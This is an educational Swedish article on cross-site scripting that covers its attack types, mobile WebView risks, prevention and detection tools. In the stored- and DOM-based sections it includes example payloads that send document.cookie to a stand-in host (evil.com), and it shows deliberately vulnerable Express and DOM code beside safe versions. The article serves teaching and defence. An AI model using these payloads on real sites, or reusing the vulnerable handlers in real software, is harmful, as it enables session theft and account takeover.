XSS — vad är det, attacktyper och skyddsmetoder

Vad är XSS?

XSS (Cross-Site Scripting) — är en sårbarhet som gör att en angripare kan injicera JavaScript-kod på en webbsida, som sedan körs i offrets webbläsare. Webbläsaren laddar sidan från en betrodd webbplats och kör det injicerade skriptet med samma behörigheter som webbplatsens legitima kod. Detta ger angriparen tillgång till cookies, session storage, sidans DOM-träd och möjligheten att skicka förfrågningar på offrets vägnar. XSS-sårbarheter uppstår när applikationen infogar användardata i en HTML-sida utan korrekt escapiing eller validering.

XSS: s historia och aktualitet

Termen Cross-Site Scripting dök först upp år 2000 i Microsoft Security Bulletin. Under de senaste 25 åren har XSS inte förlorat sin aktualitet: enligt data från HackerOne (2025) utgör XSS cirka 22% av alla registrerade sårbarheter på plattformen. Anledningen till XSS: s livskraft är komplexiteten i att kontrollera alla ingångspunkter för användardata. Varje inmatningsfält, URL-parameter, HTTP-förfrågehuvud eller filnamn kan bli en attackvektor om data reflekteras i HTML-koden utan bearbetning.

Vilken skada orsakar XSS?

XSS-attacker kan leda till stöld av sessionscookies, vilket gör att angriparen kan logga in på offrets konto utan lösenord. Andra konsekvenser: omdirigering till phishing-webbplatser, ersättning av sidinnehåll, stöld av personuppgifter, installation av skadlig programvara (drive-by download). År 2023 påverkade en XSS-attack på plattformen Salesforce Community Cloud data från tusentals företagskunder, vilket visade att även stora plattformar inte är immuna mot denna sårbarhet.

Typer av XSS-attacker

XSS-klassificeringen delar in attackerna i tre huvudtyper baserat på hur skadlig kod levereras. Varje typ kräver olika skyddsmetoder: Stored XSS blockeras genom escapiing av utdata från databasen, Reflected — genom escapiing av URL-parametrar, DOM-based — genom säker hantering av DOM-API. Att förstå skillnaden är grunden för en effektiv säkerhetsstrategi.

Stored XSS (permanent)

Den farligaste typen av XSS. Angriparen injicerar ett skript i data som servern lagrar i databasen och visar vid varje sidladdning. Typisk vektor — kommentarsfältet: angriparen publicerar en kommentar med <script>document.location='https://evil.com/?c='+document.cookie</script>. Varje användare som laddar sidan med denna kommentar skickar sina cookies till angriparen. Stored XSS kräver ingen åtgärd från offret förutom att besöka sidan — vilket gör det särskilt farligt för sociala nätverk, forum och bloggar.

Reflected XSS (reflekterad)

Det skadliga skriptet skickas i HTTP-förfrågan (vanligtvis i en URL-parameter) och reflekteras omedelbart av servern i svaret. Angriparen skapar en länk av formen https://example.com/search?q=<script>...</script> och sprider den via phishing, sociala nätverk eller e-post. Offret, som klickar på länken, får en sida där den inmatade sökfrågan (skriptet) visas utan escapiing. Reflected XSS kräver social ingenjörskonst — offret måste klicka på länken, vilket minskar men inte eliminerar risken.

DOM-based XSS

Till skillnad från Stored och Reflected kräver DOM-based XSS inte att data skickas till servern. Sårbarheten uppstår när klient-JavaScript infogar användardata från URL, document.referrer, postMessage eller localStorage i DOM utan säker bearbetning. Till exempel kör kod av formen document.getElementById('output').innerHTML = location.hash.substring(1) all HTML och skript från URL-fragmentet (#<img onerror='...'>). DOM-based XSS är svårast att upptäcka eftersom servern aldrig tar emot den skadliga payloaden — den bearbetas helt på klienten.

// Exempel på DOM-based XSS (SÅRBAR KOD)
// Om userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — farligt: infogar rå HTML
document.write('<div>' + userInput + '</div>');

// SÄKERT ALTERNATIV — använd textContent
document.getElementById('output').textContent = userInput;

Hur fungerar en XSS-attack?

XSS-attacken utnyttjar en grundläggande egenskap hos webben: webbläsaren kör JavaScript som tagits emot från en betrodd domän. Om angriparen hittar ett sätt att injicera sin kod i serverns HTML-svar, kör webbläsaren den med samma behörigheter som den legitima koden. Attacken går igenom tre faser: injicering av skadlig kod i innehållet, leverans av innehållet till offrets webbläsare och exekvering av koden med åtkomst till DOM, cookies och storage.

Injiceringsfasen

Angriparen hittar en ingångspunkt — ett fält, URL-parameter eller huvud vars värde servern inkluderar i HTML-svaret utan escapiing. Typiska ingångspunkter: sökfält, kommentarsfält, användarnamn, avatar-URL, cookie-filer, HTTP-huvuden (User-Agent, Referer). Moderna ramverk (React, Angular, Vue) escapar automatiskt utdata, men utvecklare kan stänga av escapiing via dangerouslySetInnerHTML, bypassSecurityTrustHtml eller v-html.

Leveransfasen

För Reflected XSS sprider angriparen en skadlig länk. För Stored XSS räcker det att publicera innehåll på målwebbplatsen, och varje besökare på sidan blir ett offer. DOM-based XSS aktiveras vid laddning av sidan med ett specifikt URL-fragment. Alla tre faserna kan utföras automatiskt: om XSS upptäcks i en reklambanner (tredjepartsinnehåll) kommer attacken att påverka alla webbplatsens användare tills bannern stängs av.

// Exempel på Reflected XSS i sökning (SÅRBAR BACKEND)
// Istället för att escapa parametern q, infogar servern den i HTML

// Express.js — sårbar hanterare:
app.get('/search', (req, res) => {
    const query = req.query.q; // användarinmatning
    res.send(`<h1>Results for: ${query}</h1>`);
});

// SÄKER VERSION — escapiing via encodeURI eller mallmotor:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS i mobilappar

Mobilapplikationer är också mottagliga för XSS-attacker, men i mindre utsträckning än webbplatser. Huvudvektorn är WebView och hybridramverk (Cordova, Capacitor, React Native med WebView). Om applikationen laddar webbinnehåll i WebView — särskilt användarinnehåll (HTML-e-post, artiklar, meddelanden) — kan XSS-sårbarhet leda till exekvering av JavaScript inuti applikationen med åtkomst till inbyggda funktioner via JavaScript-bryggan.

XSS i WebView Android

Android WebView kör JavaScript som standard. Om applikationen laddar en HTML-sträng via loadDataWithBaseURL() eller visar användarinnehåll, kan en XSS-attack ge angriparen tillgång till JavaScript-gränssnittet (addJavascriptInterface). Google har förbjudit användning av @JavascriptInterface för API < 17, men legacy-kod i gamla applikationer förekommer fortfarande. Skydd: stäng av JavaScript i WebView om det inte behövs och använd säker surfning.

XSS i React Native och Flutter

React Native använder inte WebView för användargränssnittet — komponenter renderas i inbyggda vyer. Men vid visning av HTML via react-native-webview eller rich-text-komponenter återkommer XSS-risken. Flutter använder sin egen renderingsmotor (Skia) och stöder inte JavaScript i HTML-widgetar (flutter_html kör inte script-taggar), men WebView-plugin-program (webview_flutter) är sårbara på samma sätt som inbyggda WebViews. Bästa praxis — skicka aldrig overifierad HTML till WebView.

• Stäng av JavaScript i WebView om innehållet inte kräver interaktivitet
• Använd CSP-huvuden för att begränsa skriptkällor i WebView
• Sanitisera HTML före laddning i WebView: ta bort script-taggar och händelsehanterare
• Använd inte addJavascriptInterface på Android utan strikt kontroll av inkommande data

// Säker konfiguration av WebView i Android
val webView = findViewById<WebView>(R.id.webview)

// Stänger av JavaScript om interaktivitet inte behövs
webView.settings.javaScriptEnabled = false

// Sanitiserar HTML före laddning
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

Metoder för att förebygga XSS

Skydd mot XSS bygger på tre principer: lita inte på användarinmatning, escap före utmatning, använd Content Security Policy. Utmatningsescaping (output encoding) — den viktigaste metoden: alla data som tas emot från användaren måste escas före insättning i HTML, JavaScript, CSS eller URL. Moderna mallmotorer (Twig, Handlebars, JSX, Blade) gör detta automatiskt, om utvecklaren inte stänger av escapiing med särskilda metoder.

Kontextuell escapiing

Escapiing beror på sammanhanget för datainmatning. I HTML-sammanhang escas <, >, &, citattecken. I JavaScript-sammanhang escas backticks, , </script>. I CSS-sammanhang — kontrolltecken. I URL-sammanhang — URL-kodning. Ett sammanhangsfel — till exempel att infoga en HTML-escaped sträng i ett onclick-attribut — skyddar inte mot XSS, eftersom onclick körs i JavaScript-sammanhanget, där annan escapiing behövs.

Content Security Policy (CSP)

CSP — en HTTP-huvud som begränsar källorna från vilka webbläsaren kan ladda skript, stilar och andra resurser. Strikt CSP (utan unsafe-inline, utan unsafe-eval) blockerar exekvering av alla inline-skript, inklusive XSS-vektorer. Enligt Google Security Blog (2025) blockerar webbplatser med CSP 95% av XSS-attackerna. Exempel: Content-Security-Policy: default-src 'self'; script-src 'self' förbjuder alla externa och inline-skript. CSP skyddar inte mot Stored XSS om skriptet laddas från samma domän, men detta kräver ytterligare ansträngning från angriparen.

HttpOnly och Secure cookies

Att ställa in flaggan HttpOnly för cookies förhindrar åtkomst via JavaScript (document.cookie), vilket blockerar stöld av sessionscookies via XSS. Flaggan Secure garanterar att cookien endast skickas via HTTPS. Kombinationen HttpOnly + Secure + SameSite=Lax gör stöld av sessionscookies via XSS praktiskt taget omöjlig. XSS kan dock fortfarande utföra åtgärder på uppdrag av användaren (till exempel skicka förfrågningar), så HttpOnly är inget universalmedel utan en del av ett omfattande skydd.

Verktyg för att upptäcka XSS

Regelbunden testning för XSS — en obligatorisk del av CI/CD-pipelinen för säker utveckling. Automatiserade skannrar hittar upp till 80% av XSS-sårbarheterna, resten kräver manuell pentest. Den bästa metoden är en kombination av SAST-analys (statisk), DAST-skanning (dynamisk) och kodgranskning med fokus på ingångspunkter för användardata.

• OWASP ZAP — gratis DAST-skanner, hittar automatiskt XSS i webbapplikationer
• Burp Suite Professional — avancerat verktyg med Active Scan och Intruder för XSS
• XSStrike — specialiserad skanner för XSS med payload-generering
• ESLint-plugin-security — statisk analys av React/JSX för farliga mönster
• Google Observatory — kontroll av CSP-huvuden och XSS-relaterade konfigurationer

För mobilapplikationer inkluderar XSS-testning WebView-analys: kontroll av JavaScript-gränssnitt, bearbetning av URL-scheman och överföring av HTML till loadDataWithBaseURL. Det rekommenderas också att testa bearbetning av postMessage i hybridapplikationer och kontrollera vilka data som skickas via JavaScript-bryggan. Använd en emulator med proxy (Burp Suite) för att fånga upp och modifiera trafik från mobilapplikationen.